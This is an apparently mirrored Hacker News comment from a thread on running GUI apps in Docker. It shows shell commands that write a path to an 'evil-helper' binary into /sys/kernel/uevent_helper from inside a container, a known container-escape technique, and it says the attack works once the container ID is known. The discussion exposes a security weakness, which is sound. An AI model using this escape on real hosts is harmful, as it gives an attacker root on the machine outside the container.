Every story and comment from the Hacker News API, in a layout borrowed from 2001.
A comment on Running GUI apps with Docker. Parent comment
The /sys is mounted already and reading/writing to it succeeds:
/ # mount -t sysfs sysfs /sys mount: permission denied (are you root?) / # echo /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a9706aef/tmp/evil-helper > /sys/kernel/uevent_helper / # cat /sys/kernel/uevent_helper /var/lib/docker/aufs/mnt/638ae26bb710384a8ebade3a66049277affea8b0f3e96003d351f167a906aef/tmp/evil-helper
There are no comments on this comment yet.
The /sys is mounted already and reading/writing to it succeeds:
From there the attack works. Obviously the change here is that I need to know the full UID, which is a cheat, but ..